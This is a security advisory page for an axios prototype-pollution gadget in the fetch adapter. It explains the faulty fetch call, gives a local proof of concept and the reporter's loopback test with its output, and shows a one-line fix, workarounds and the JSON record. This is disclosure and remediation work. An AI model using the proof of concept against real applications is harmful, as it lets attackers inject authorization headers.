GHSA-VH66-26GQ-Q6X8
Vulnerability from github – Published: 2026-09-30 15:13 – Updated: 2026-09-30 15:13Summary
Axios fetch adapter requests can be altered by inherited properties on fetchOptions. The adapter resolves method, headers, body, signal, and credentials into resolvedOptions, creates a Request, and then calls fetch(request, fetchOptions) instead of fetch(request, resolvedOptions). In runtimes such as Node's undici-backed fetch, inherited fetchOptions.headers can override the headers already placed on the Request.
Axios does not create the prototype pollution source. This is a read-side gadget that becomes exploitable after same-process prototype pollution.
Impact
An attacker with a prior prototype-pollution primitive can cause affected fetch-adapter requests to send attacker-controlled headers and drop caller-specified headers. This can affect authorization, cache behavior, metadata-service interactions, or application-specific header-based controls.
The issue is specific to fetch-adapter behavior and does not affect Node HTTP adapter requests.
Affected Functionality
Affected:
adapter: 'fetch'.- Runtime environments where the fetch adapter is selected.
- Requests where
fetchOptionsis an object that does not have safe own values for sensitive fetch init fields.
Not affected:
- Node HTTP adapter.
- Requests that do not use the fetch adapter.
- Processes where
Object.prototypeis not polluted.
Technical Details
lib/adapters/fetch.js builds:
const resolvedOptions = {
...fetchOptions,
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};
request = isRequestSupported && new Request(url, resolvedOptions);
let response = await (isRequestSupported
? _fetch(request, fetchOptions)
: _fetch(url, resolvedOptions));
The fallback path without Request uses resolvedOptions, but the Request path passes the original fetchOptions as the second argument to fetch(). That second argument can contain inherited properties from Object.prototype.
Local verification on axios 1.18.1 set Object.prototype.headers = { Authorization: 'Bearer POLLUTED' } and called the fetch adapter with headers: { 'X-Good': 'yes' }, fetchOptions: {}. The loopback server received Authorization: Bearer POLLUTED and did not receive X-Good.
Proof of Concept of Attack
Constrained local demonstration:
Object.prototype.headers = { Authorization: 'Bearer POLLUTED' };
try {
await axios.get(url, {
adapter: 'fetch',
headers: { 'X-Good': 'yes' },
fetchOptions: {}
});
} finally {
delete Object.prototype.headers;
}
Expected safe behavior is that the sanitized axios headers remain in force. Current behavior can use the inherited fetch init headers instead.
Workarounds
Use the Node HTTP adapter for security-sensitive server-side requests until fixed. If the fetch adapter must be used, avoid passing empty fetchOptions objects in processes where prototype pollution is possible, and set explicit safe own values for fetch init fields.
Original report
Hello, I’m not completely sure if this is something you’d consider a security issue, since it depends on prototype pollution happening somewhere else first, but I wanted to report it just in case. I was testing the fetch adapter with polluted prototype values and found that `Object.prototype.headers` can change the request axios sends. The issue seems to be in `lib/adapters/fetch.js`. Axios creates a `Request` with the resolved headers/method/body, but then sends it with `fetch(request, fetchOptions)`. With undici, if `fetchOptions` doesn’t have its own headers, an inherited `Object.prototype.headers` value can be used during the final fetch call. I tested it with this:import http from 'node:http';
import axios from 'axios';
const server = http.createServer((req, res) => {
res.end(JSON.stringify({
authorization: req.headers.authorization || null,
xGood: req.headers['x-good'] || null
}));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();
Object.prototype.headers = {
Authorization: 'Bearer POLLUTED'
};
try {
const res = await axios.get(`http://127.0.0.1:${port}/`, {
adapter: 'fetch',
headers: { 'X-Good': 'yes' },
fetchOptions: {}
});
console.log(res.data);
} finally {
delete Object.prototype.headers;
server.close();
}
The result I get is:
{
"authorization": "Bearer POLLUTED",
"xGood": null
}
So the polluted Authorization header is sent, and the normal axios header is not.
Changing the fetch call to pass the already resolved options fixes it for me:
- _fetch(request, fetchOptions)
+ _fetch(request, resolvedOptions)
`resolvedOptions` already includes `...fetchOptions`, so custom fetch options should still work, while headers, method, body, and signal stay as clean own values.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-101908"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-30T15:13:16Z",
"nvd_published_at": "2026-09-28T18:17:19Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios fetch adapter requests can be altered by inherited properties on `fetchOptions`. The adapter resolves method, headers, body, signal, and credentials into `resolvedOptions`, creates a `Request`, and then calls `fetch(request, fetchOptions)` instead of `fetch(request, resolvedOptions)`. In runtimes such as Node\u0027s undici-backed fetch, inherited `fetchOptions.headers` can override the headers already placed on the `Request`.\n\nAxios does not create the prototype pollution source. This is a read-side gadget that becomes exploitable after same-process prototype pollution.\n\n## Impact\n\nAn attacker with a prior prototype-pollution primitive can cause affected fetch-adapter requests to send attacker-controlled headers and drop caller-specified headers. This can affect authorization, cache behavior, metadata-service interactions, or application-specific header-based controls.\n\nThe issue is specific to fetch-adapter behavior and does not affect Node HTTP adapter requests.\n\n## Affected Functionality\n\nAffected:\n\n- `adapter: \u0027fetch\u0027`.\n- Runtime environments where the fetch adapter is selected.\n- Requests where `fetchOptions` is an object that does not have safe own values for sensitive fetch init fields.\n\nNot affected:\n\n- Node HTTP adapter.\n- Requests that do not use the fetch adapter.\n- Processes where `Object.prototype` is not polluted.\n\n## Technical Details\n\n`lib/adapters/fetch.js` builds:\n\n```js\nconst resolvedOptions = {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: toByteStringHeaderObject(headers.normalize()),\n body: data,\n duplex: \u0027half\u0027,\n credentials: isCredentialsSupported ? withCredentials : undefined,\n};\n\nrequest = isRequestSupported \u0026\u0026 new Request(url, resolvedOptions);\n\nlet response = await (isRequestSupported\n ? _fetch(request, fetchOptions)\n : _fetch(url, resolvedOptions));\n```\n\nThe fallback path without `Request` uses `resolvedOptions`, but the `Request` path passes the original `fetchOptions` as the second argument to `fetch()`. That second argument can contain inherited properties from `Object.prototype`.\n\nLocal verification on axios `1.18.1` set `Object.prototype.headers = { Authorization: \u0027Bearer POLLUTED\u0027 }` and called the fetch adapter with `headers: { \u0027X-Good\u0027: \u0027yes\u0027 }, fetchOptions: {}`. The loopback server received `Authorization: Bearer POLLUTED` and did not receive `X-Good`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.headers = { Authorization: \u0027Bearer POLLUTED\u0027 };\ntry {\n await axios.get(url, {\n adapter: \u0027fetch\u0027,\n headers: { \u0027X-Good\u0027: \u0027yes\u0027 },\n fetchOptions: {}\n });\n} finally {\n delete Object.prototype.headers;\n}\n```\n\nExpected safe behavior is that the sanitized axios headers remain in force. Current behavior can use the inherited fetch init headers instead.\n\n## Workarounds\n\nUse the Node HTTP adapter for security-sensitive server-side requests until fixed. If the fetch adapter must be used, avoid passing empty `fetchOptions` objects in processes where prototype pollution is possible, and set explicit safe own values for fetch init fields.\n\n\u003cdetails\u003e\n \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n \nHello, I\u2019m not completely sure if this is something you\u2019d consider a security issue, since it depends on prototype pollution happening somewhere else first, but I wanted to report it just in case.\n\nI was testing the fetch adapter with polluted prototype values and found that `Object.prototype.headers` can change the request axios sends.\n\nThe issue seems to be in `lib/adapters/fetch.js`. Axios creates a `Request` with the resolved headers/method/body, but then sends it with `fetch(request, fetchOptions)`. With undici, if `fetchOptions` doesn\u2019t have its own headers, an inherited `Object.prototype.headers` value can be used during the final fetch call.\n\nI tested it with this:\n\n```js\nimport http from \u0027node:http\u0027;\nimport axios from \u0027axios\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n res.end(JSON.stringify({\n authorization: req.headers.authorization || null,\n xGood: req.headers[\u0027x-good\u0027] || null\n }));\n});\n\nawait new Promise(resolve =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst { port } = server.address();\n\nObject.prototype.headers = {\n Authorization: \u0027Bearer POLLUTED\u0027\n};\n\ntry {\n const res = await axios.get(`http://127.0.0.1:${port}/`, {\n adapter: \u0027fetch\u0027,\n headers: { \u0027X-Good\u0027: \u0027yes\u0027 },\n fetchOptions: {}\n });\n\n console.log(res.data);\n} finally {\n delete Object.prototype.headers;\n server.close();\n}\n```\n\nThe result I get is:\n\n```json\n{\n \"authorization\": \"Bearer POLLUTED\",\n \"xGood\": null\n}\n```\n\nSo the polluted Authorization header is sent, and the normal axios header is not.\n\nChanging the fetch call to pass the already resolved options fixes it for me:\n\n```diff\n- _fetch(request, fetchOptions)\n+ _fetch(request, resolvedOptions)\n```\n\n`resolvedOptions` already includes `...fetchOptions`, so custom fetch options should still work, while headers, method, body, and signal stay as clean own values.\n\u003c/details\u003e\n\n---",
"id": "GHSA-vh66-26gq-q6x8",
"modified": "2026-09-30T15:13:16Z",
"published": "2026-09-30T15:13:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-vh66-26gq-q6x8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101908"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11141"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.20.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Prototype pollution gadget in fetch adapter can alter outbound requests"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.